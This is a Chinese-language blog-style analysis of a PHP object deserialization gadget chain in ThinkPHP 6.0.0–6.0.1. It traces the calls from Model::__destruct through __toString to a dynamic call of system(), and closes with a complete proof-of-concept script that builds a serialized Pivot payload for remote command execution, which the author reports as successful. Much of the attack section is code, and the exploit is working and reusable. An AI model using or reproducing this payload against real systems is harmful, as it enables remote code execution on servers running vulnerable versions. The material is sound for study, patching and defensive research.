准备
创建工程:
composer create-project topthink/think thinkphp6.0.1
"require": {
"php": ">=7.1.0",
"topthink/framework": "6.0.1",
"topthink/think-orm": "^2.0"
},
composer update
index控制器:
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
if(isset($_POST['data'])){
unserialize(base64_decode($_POST['data']));
}else{
highlight_file(__FILE__);
}
}
}
影响版本:Thinkphp6.0.0~6.0.1
分析
看了几个大师傅的文章,是这样说的:
在 ThinkPHP5.x 的POP链中,入口都是 think\process\pipes\Windows 类,通过该类触发任意类的 __toString 方法。但是 ThinkPHP6.x 的代码移除了 think\process\pipes\Windows 类,而POP链 __toString 之后的 Gadget 仍然存在,所以我们得继续寻找可以触发 __toString 方法的点。
这里5.2.x版本函数动态调用的反序列化链后半部分,还可以利用。
我一开始是想着先把tp5.2.x的那个反序列化链给审了,再来审一下这个链,但是我怎么composer装tp5.2.x都装不好,实在无语。花了一中午还是装不好,无奈只能放弃,来直接看这条链子了。
首先就需要重新找一个__destruct()
方法,利用Model类的__destruct
:
$this->lazySave
可控,进入save()方法:
/**
* 保存当前数据对象
* @access public
* @param array $data 数据
* @param string $sequence 自增序列名
* @return bool
*/
public function save(array $data = [], string $sequence = null): bool
{
// 数据对象赋值
$this->setAttrs($data);
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
if (false === $result) {
return false;
}
// 写入回调
$this->trigger('AfterWrite');
// 重新记录原始数据
$this->origin = $this->data;
$this->set = [];
$this->lazySave = false;
return true;
}
因为后续的__toString()
仍然可以使用,因此要想办法找一个可以进入到__toString()
的点。大师傅们的寻找路线是这样:
save()
↓
updateData()
↓
checkAllowFields()
↓
db()
↓
$query = self::$db->connect($this->connection)
->name($this->name . $this->suffix)
->pk($this->pk);
存在$this->name
和$this->suffix
的字符串拼接,这两个值都可控,因此这里可以利用到__toString()
。接下来就是要想办法看看如何进入到这里。
首先是这里:
public function isEmpty(): bool
{
return empty($this->data);
}
protected function trigger(string $event): bool
{
if (!$this->withEvent) {
return true;
}
$this->data
和$this->withEvent
都可控,让data不空,让withEvent是false就行了。
之后就会进入updateData()方法:
/**
* 保存写入数据
* @access protected
* @return bool
*/
protected function updateData(): bool
{
// 事件回调
if (false === $this->trigger('BeforeUpdate')) {
return false;
}
$this->checkData();
// 获取有更新的数据
$data = $this->getChangedData();
if (empty($data)) {
// 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}
return true;
}
$data = $this->writeDataType($data);
if ($this->autoWriteTimestamp && $this->updateTime) {
// 自动写入更新时间
$data[$this->updateTime] = $this->autoWriteTimestamp();
$this->data[$this->updateTime] = $this->getTimestampValue($data[$this->updateTime]);
}
// 检查允许字段
$allowFields = $this->checkAllowFields();
foreach ($this->relationWrite as $name => $val) {
if (!is_array($val)) {
continue;
}
foreach ($val as $key) {
if (isset($data[$key])) {
unset($data[$key]);
}
}
}
// 模型更新
$db = $this->db();
$db->transaction(function () use ($data, $allowFields, $db) {
$this->key = null;
$where = $this->getWhere();
$result = $db->where($where)
->strict(false)
->cache(true)
->setOption('key', $this->key)
->field($allowFields)
->update($data);
$this->checkResult($result);
// 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}
});
// 更新回调
$this->trigger('AfterUpdate');
return true;
}
这里基本就不用多关心了,trigger函数前面已经控过了。注意这个getChangedData(),需要获得不空的data:
public function getChangedData(): array
{
$data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) {
if ((empty($a) || empty($b)) && $a !== $b) {
return 1;
}
return is_object($a) || $a != $b ? 1 : 0;
});
// 只读字段不允许更新
foreach ($this->readonly as $key => $field) {
if (array_key_exists($field, $data)) {
unset($data[$field]);
}
}
return $data;
}
控一下$this->force
即可。剩下的代码就不用关心了,进入到checkAllowFields()方法:
还是控制一下$this->schema
,这样就可以进入db()方法,成功触发__toString()
。
然后还是老样子,跟进__toString()
,进入toJson()
,再进入toArray()
方法:
/**
* 转换当前模型对象为数组
* @access public
* @return array
*/
public function toArray(): array
{
$item = [];
$hasVisible = false;
$a=$this->data;
foreach ($this->visible as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
[$relation, $name] = explode('.', $val);
$this->visible[$relation][] = $name;
} else {
$this->visible[$val] = true;
$hasVisible = true;
}
unset($this->visible[$key]);
}
}
foreach ($this->hidden as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
[$relation, $name] = explode('.', $val);
$this->hidden[$relation][] = $name;
} else {
$this->hidden[$val] = true;
}
unset($this->hidden[$key]);
}
}
// 合并关联数据
$data = array_merge($this->data, $this->relation);
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}
if (isset($this->mapping[$key])) {
// 检查字段映射
$mapName = $this->mapping[$key];
$item[$mapName] = $item[$key];
unset($item[$key]);
}
}
// 追加属性(必须定义获取器)
foreach ($this->append as $key => $name) {
$this->appendAttrToArray($item, $key, $name);
}
if ($this->convertNameToCamel) {
foreach ($item as $key => $val) {
$name = Str::camel($key);
if ($name !== $key) {
$item[$name] = $val;
unset($item[$key]);
}
}
}
return $item;
}
接下来的思路是:
toArray()
↓
getAttr()
↓
getValue()
↓
} else {
$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);
}
来理一下代码。注意这里:
可以进入getAttr
方法。有用的代码是这些:
$data = array_merge($this->data, $this->relation);
foreach ($data as $key => $val) {
//.....
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
$data
来自$this->data
,为此需要控一下$this->visible
和$this->data
。但是注意还会被$this->visible
进行处理:
把$val
不设成string就可以不受处理了。继续跟进getAttr
:
看一下getData()方法:
相当于$value
得到的还是$data[$filenName]
。$fileName
就是这个$name
,就相当于是$key
,就是是data的键。
继续跟进getValue()
方法:
$filename
还是$name
,因为:
$this->convertNameToCamel
这里为空,$this->strict
默认也是true,所以直接return $name
。
然后接下来这个if不满足。想要进入if (isset($this->withAttr[$fieldName])) {
,控一下$this->withAttr
就可以了。
之后is_array($this->withAttr[$fieldName])
会不满足,进入else:
$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);
可动态调用,考虑到system
函数正好可接受2个参数,且第一个参数是可控的,因此这里可以直接system来RCE。
构造一下POC:
<?php
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}
namespace think{
abstract class Model{
private $lazySave = true;
protected $withEvent = false;
private $exists = true;
private $force = true;
private $data = array("q"=>"dir");
protected $schema = array("1"=>"2");
protected $name;
protected $visible = array("q"=>1);
private $withAttr = array("q"=>"system");
public function setName($newName){
$this->name=$newName;
}
}
}
namespace{
use think\model\Pivot;
$a=new Pivot();
$b=new Pivot();
$a->setName($b);
echo base64_encode(serialize($a));
}
RCE成功。
放一下大师傅的图: